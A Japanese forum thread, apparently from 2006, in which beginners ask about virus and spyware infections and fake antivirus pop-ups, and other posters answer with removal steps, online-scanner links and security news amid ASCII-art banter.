　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　ｷﾞｾﾞﾝｼｬ?
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　　ｲｲﾃﾞｽﾖﾍﾞﾂﾆ　　　 ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　ｱｸﾆﾃｯｼﾏｽｶﾗ .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

どうした？朝からやけに哲学してるな。サル姿がなんだが。

　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　>>21>>46ﾉｳｲﾙｽﾆｶﾝｾﾝ
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　　 ｼﾀﾝﾀﾞﾖ! 　 　　　 ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

落差がすごいな。>>21と>>46の

　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　Peaceｷﾚﾀ
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　 7ｲｯﾃｸﾙ 　　　 ,.、
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　ﾏﾀｸﾙ　 　 　 .| |l
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　 ､　〃　　 ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ﾐ　 ﾐ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ﾐ
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　_ , ﾐ
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 ﾐ
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

違法ダウソ物のフォトショとイラレを見つけたんだが
ウイルスチェックしたいんですがフリーのダウソ済みファイルのウイルスチェックソフト
教えて下さい！！

　　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　ｼﾞｭｳﾖｳﾅｺﾄﾊ
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　ﾅｲｻﾞｲﾃｷｼﾝﾘｦ ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　ｷｮｾﾞﾂｼﾅｲｺﾄ 　 .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

　　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　ﾄﾞｳﾄｸﾔ ﾘﾝﾘｦﾄｷﾀｶﾞﾙﾔﾂﾊ
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　ｷｮｾﾞﾂｼｶﾞﾁﾅ ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　ﾘｿｳｼｭｷﾞｼｬ 　 .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

>>64
つ違法ダウソ物

>>64
通報しますた(・∀・)

どうでもいい事だが・・・
Vistaへの乗り換えに自信のないあなたに、自信を持ってお勧めできるOS、それがFedora Core。

・サンプル画像
http://www.lynucs.org/index.php?screen_id=16160218054558aaec4d948&p=screen
http://www.lynucs.org/index.php?screen_id=12170238984554b554f0ad2&p=screen
・動画
高画質 http://stage6.divx.com/members/225743/videos/1032106
低画質 http://www.youtube.com/watch?v=ksxADo-4Q4k

FedoraというのはLinuxの一種で、日本で最も普及しているLinuxがFedora。
インストールは
http://ftp.riken.jp/Linux/fedora/core/6/i386/iso/FC-6-i386-DVD.iso
のisoをDVDに焼いてパソコンを再起動させればOK。
注意としてDVDは「イメージとしてisoを焼く」ようにしないといけない。
http://linux2ch.is.land.to/index.php?InstallCDCreationInfo が参考になるぞ
インストールの手順は
http://itpro.nikkeibp.co.jp/article/COLUMN/20061101/252399/?ST=lin-os&P=2 を見てくれ。
アドバイスだが「SELinuxの設定」は無効にしておくことをお勧めする。
ちなみにWindowsの管理者(Administrator)にあたるユーザーは、Linuxでは「root」という名前だ。
パスワードを忘れないようにな。
それとファイラーのデフォルトの設定が良くないので、「設定」->「動作」->「常にブラウザ・ウィンドウで開く」にしたほうがいい。
ゴミ箱には保存場所の記録機能がないので注意してくれ(KDEというのならある)
特許の関係で動画と音楽の再生に制限がある。もしdivxとかの再生がしたいならvlc、xine、mplayerなどソフトを自分で入れてくれ。
最後に、ソフト更新ツールが少し重くて遅いことは勘弁してくれ。
ウイルスの心配のないネット生活をエンジョイだ。

初心者質問大歓迎掲示板↓
http://pc8.2ch.net/test/read.cgi/linux/1162940232/

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　
　　　　（　　　　）　　ボク、Berry CD使ってます
　　　　｜ ｜　|　 　
　　　　（_＿）＿）

　∧＿∧
　（　´∀｀）
　（　　　　）
　｜ ｜　｜
　（_＿）＿）

　　∧＿∧
　（　´∀｀）
　（　　　　）＜
　｜ ｜　｜
　（_＿）＿）

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　
　　　　（　　　　）＜
　　　　｜ ｜　|　 　
　　　　（_＿）＿）

テ、テスト！

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　
　　　　（　　　　）　　面白い　ｗｗｗ
　　　　｜ ｜　|　 　
　　　　（_＿）＿）

ビデオファイルに感染するワーム出現――McAfee
http://www.itmedia.co.jp/news/articles/0611/17/news031.html


映画などのメディアファイルに感染するワーム「W32/Realor」が出回っているとして、セキュリティソフトメーカーの米McAfeeがアラートを公開した
RealorワームはRealMediaファイルに感染し、悪質サイトにユーザーを誘導する。ビデオを使ったマルウェアは増加傾向にあるとMcAfeeは警告している。

Realならしょうがない

なんということだ、RealMediaふぁいるは、まだまだエロ動画サイトで現役なのだぞ。

ソースネクストのウィルスセキュリティzeroってどうですか？

>>79
【ｿｰｽ/K7】ウイルスセキュリティZERO 6年目
ttp://pc8.2ch.net/test/read.cgi/sec/1162354584/

>>80
ありがとう

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　／　 , - '
　　　　　　　　　　　　　　　　　　　　　　　　　　最近　　　　　　　　　　　　　 （　　(
　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　 どーも　　　　　　　　　　　　　) 　 ）
　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　ﾀﾞﾘｨんだよね 　 　 ,.、　　　/ ／
　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

もうすぐウィルスバスターの無料お試しが切れるのですが、
ダウンロード版を購入するとき、どうやって料金を払うのですか？
また、ダウンロード版と店頭購入版とでは、
どちらがインストールのやり方がわかりやすいですか？
当方初心者なもので宜しくお願いします。

>>83
バスターの更新をする前に
Kaspersky Internet Security 6.0日本語版の30日無料試用版を試したほうが、きっと後悔しなくてすむよ。
ttp://www.just-kaspersky.jp/products/try/

誰が宣伝しろといったよ？

>>83
http://www.trendmicro.co.jp/consumer/purchase/newly/

ウイルスバスター購入お助けツール
簡単な質問にお答えいただくだけで、お客さまに最適なウイルスバスターが見つかります。ご購入をご検討中のお客さまはぜひご利用ください。

※ このツールは個人のお客さまを対象としています。
　

>>85
うせろウンコ臭いヤシは

>>84
ありがとう。

>>86
ありがとう。

http://www.youtube.com/watch?v=k5b4TZzKnzs

>>90
SMAPのありがとう
PC無害、精神的有害

わろす

【使用OS】XP
【WINDOWS　UPDATE】している
【ウィルスソフト】Avast
【UPDATE】している
【スキャン】Avast＋オンラインウィルスチェック（trendmicro）でしている
【症状】
Avastではウィルス反応がなかったので
オンラインウィルスチェック（trendmicro）をしたらウィルス感染していた
【やったこと】
ゲームをインストールしたらそのゲームのexeファイルが
BKDR_Genericというウィルス（バックドア型？）に感染しているといわれた
ゲーム自体は普通にできる
【とった処置】
まだなにもしていない

ゲームが普通にできるウィルスはあるのですか？

>>93
Genericはバスターが「疑わしい」と判断したファイルに付く検出名
従って誤検知の可能性もある

とりあえずそのexe、ゲームの出所がわからん事には何とも
自力で調べる気があるなら別のオンラインスキャンか

こことか
ttp://www.virustotal.com/en/indexf.html

>>94
教えていただいたURLで調べてみます。
ありがとうございました。

>>93
多分感染してるわ
詳しくはここを参照
　　↓
http://www.transa-na.net/?news/archive/2006/10/11.jpg

>>96
はいはい、ご苦労さん。
海外のアダルトサイトで大量のポップアップとかクッキーとか

質問です
アドレスに「share」と書いてあるところはクリックしない方がいいでしょうか？

ttp://www.tyu2.com/
このサイトの無料で見れる動画を見たりしてるんですが
アドレスにshareと書いてあったり、無料で見れるのも何か怪しい気がするの
ですが、ココの動画はウィルスが付いてるかどうか調べてもらえないでしょうか？
スレ違いだったら申し訳ないですが。。

>>98
＞ココの動画はウィルスが付いてるかどうか調べてもらえないでしょうか？
鑑定以来ならこのあたりでどぞー

勇気がなくて踏めない人のための鑑定ｽﾚPart11
ttp://pc8.2ch.net/test/read.cgi/hack/1162991870/

>>99
ありがとうございます！！

（　＾ω＾）

「近い将来にはコンピュータ攻撃で死者も」米McAfeeテラフィシ氏
http://internet.watch.impress.co.jp/cda/news/2006/11/20/13995.html

遅かれ早かれ、コンピュータ攻撃で死者が発生する」。米McAfeeのセキュリティ研究機関「AVERT（Anti-Virus Emergency Response Term） Labs」のディレクターを務めるジョー・テラフィシ氏が20日、
「セキュリティの未来」と題する講演を行ない、悪意のあるプログラムが医療機器や軍事兵器を狙い攻撃することで、人々の命が奪われる可能性があると語った。

「マルウェアを活用したサイバーテロは5年後には発生する」と語るテラフィシ氏は、「公共の利益を保護するためにセキュリティ研究組織が統合し、相互運用性を持つベンダー製品を提供すべき。
我々もシマンテックやトレンドマイクロなどと協力する必要がある」と話し、セキュリティ業界企業の協力を呼びかけた。

あぼーん

Spyware:Cookie/Go
Spyware:Cookie/Statcounter
Spyware:Cookie/Com.com
Spyware:Cookie/Rightmedia
Spyware:Cookie/MediaTickets
Spyware:Cookie/Com.com
Spyware:Cookie/Errorguard
Spyware:Cookie/64.62.232
Spyware:Cookie/360i
Spyware:Cookie/2o7
Spyware:Cookie/Com.com
Spyware:Cookie/Screensavers
Spyware:Cookie/Ccbill
Spyware:Cookie/Searchportal
Spyware:Cookie/Gaytrafficbroker
Spyware:Cookie/Toplist
Spyware:Cookie/Hbmediapro
Spyware:Cookie/Winantivirus
Spyware:Cookie/ErrorSafe
Spyware:Cookie/Outster
Spyware:Cookie/adultfriendfinder
Spyware:Cookie/ErrorSafe
Spyware:Cookie/Reliablestats
Spyware:Cookie/YieldManager
Spyware:Cookie/DriveCleaner
Spyware:Cookie/DriveCleaner
Spyware:Cookie/2o7Spyware:Cookie/Winantivirus
の３０個。駆除できなかったスパイウェアなんですけど、
全部消した方が良いのでしょうか？放置しといても安全でしょうか？
（消せるかわからないんですけど）
よろしくお願いします。

>>104
Cookieの削除
で終了

すれ違いかどうか微妙なのだが、英文で、マイクロソフトエクスプローラの名で
「スパイウエア対策の為にウルティメイトディフェンダーをインストールしますか？」と言う
文章がしつこく提示されるのだが、これは本当にマイクロソフトの仕様なの？
それとも悪質な企業広告？
キャンセルしても消えないんですけれど

>>106
＞キャンセルしても消えないんですけれど
すでにやばいかも

カスペルスキー：オンライン ウイルス＆スパイウェアスキャナで調べてみてね
ttp://www.kaspersky.co.jp/scanforvirus/

ヤバイ？しかしこのultimate　defenderと言うソフトって無料じゃないんだよね。
実際この警告自体がトラップって事無いの？

つーか、調べたら、このultimate　defender自体が悪質な偽装セキュリティ広告らしいではないか。
危ない危ない。騙されるところだった。

>>105
ありがとうございます。今クッキー消しました！！

>>110

（　＾ω＾）

>>110
　　_、_
（　,_ﾉ` )y━･~~~　＜　いいってことよ・・・

>>107
いやなこった。

＾＾＋（　 ω ）
見事な変装ですね。全然わからん

>>114
　　_、_
（　,_ﾉ` )y━･~~~

初書き込み失礼します
ＰＣを起動したら
「危険なファイルを発見しました」の小窓
「貴方の行動はつつ抜けで…」とか表示されて
ドライブクリーナーってソフトをダウンロードして
実行しますか？
って表示されました。
わけがわからなくて不安
起動するたびに出るのですがどうすればいいのでしょうか…

>>116
コンパネに対象ソフトがある場合：
1) 復元を無効にする
2) コンパネから削除
3) 一時ファイルとクッキーを削除
4) セーフモードでspybotとセキュリティソフトでスキャン

コンパネに対象ソフトが無い場合：
上記1.3.4を試し、改善しなければテンプレ>>1の「Trojan.Vundoの駆除」を試す

正常になれば復元を有効に戻してもいいです。

参考：
　システムの復元を無効/有効にする方法
　ttp://www.mcafee.com/japan/security/DisableSysRestore.asp
　インターネットキャッシュとクッキーの削除 − ブラウザのゴミ掃除
　ttp://www.higaitaisaku.com/icsakujyo.html
　コンピュータをセーフモードで起動する方法
　ttp://service1.symantec.com/SUPPORT/INTER/tsgeninfojapanesekb.nsf/jdocid/20040302105202953
　Trojan.Vundoの駆除
　ttp://www.higaitaisaku.com/vundofix.html

ttp://www.higaitaisaku.com/fakewarning.html

やめとけ。新手の詐欺だ。
ドライブクリーナーがウイルスソフト。
ググルと何か出てくるだろ。
あまり変なサイトを見て回るなよ。

>>117
ううう…；　自分全くの初心者なのでよく分からない…orz
正直怖いです…；

>>118
そうなのですか？
はい、以後気をつけます;；
ありがとうでした＾＾

>>119
ま、ここを見れ
ttp://itpro.nikkeibp.co.jp/article/NEWS/20061012/250564/

ここ壊れてますって出てﾜﾗﾀ
専ﾌﾞﾗ使ってたんだって気が付いた

なにをしたからそうなったのかわからないが
CD/DVDドライブがいかれ、外付けＨＤＤが動かなくなり、wi-fiコネクタが認識されなくなった
ＨＤＤ内には見慣れないファイルがありそれを確認したのが昨日の夜、再起動後には認識されなくなったというか
電源が入らないので確認のしようがない。ＣＤドライブの方もコツンコツンと一定の間隔で音が鳴り読み込みができない状態に
これらはなんらかのウイルスに感染してる可能性があるのでしょうか？

【使用OS】XP
【WINDOWS　UPDATE】している
【ウィルスソフト】Avast
【UPDATE】している
【スキャン】Windows Live OneCareのフルスキャン、Ad-Aware SE Personalをたまに
【とった処置】特にしていない

>>122
それだけでは何とも・・・
別機でｳｨﾙｽﾁｪｯｸ等して試すか、ﾄﾞﾗｲﾊﾞ関係を一旦削除して
再起動で確認
単にHDDの電源が逝かれた場合は中身抜いて
別のストレージケースにでも放り込んで確認

>>122
>>107

カスペルスキーやってみたがこれって検出するだけなのか
問題になりそうなものは出てこなかったが何が原因なんだろう

>>122
avast！

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　ハードトラブルの可能性の方が高そうですよ
　　　　（　　　　）　　まずは、BIOSで各デバイスを認識できてるかでしょうね
　　　　｜ ｜　|　 　
　　　　（_＿）＿）

ウィルスみたいなプログラムを起動してしまいました。その後、IEとかを起動しようとするとWindowsインストーラが繰り返し起動して、マイクロソフトオフィスを設定してますとかなるんですが、どうすればよいでしょうか？

>>128
>ウィルスみたいなプログラム
を駆除

TSPY_LOOK2ME.Lっていうスパイウェアがどんなものか教えて頂けませんか。
トレンドマイクロのデータベースが使いづらくて見つからないんです。

できればトレンドマイクロのデータベースでピンポイント検索
できる方法も教えて頂けると有り難いです。
TSPY_LOOK2ME.Lと打ち込んで検索してみても
全く関係のない名前のものまで1000件以上出てきてしまうんです。

そういうときは他社のオンラインスキャンを使ってみると解決しやすいよ

カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ　
ttp://www.kaspersky.co.jp/scanforvirus/

>>131
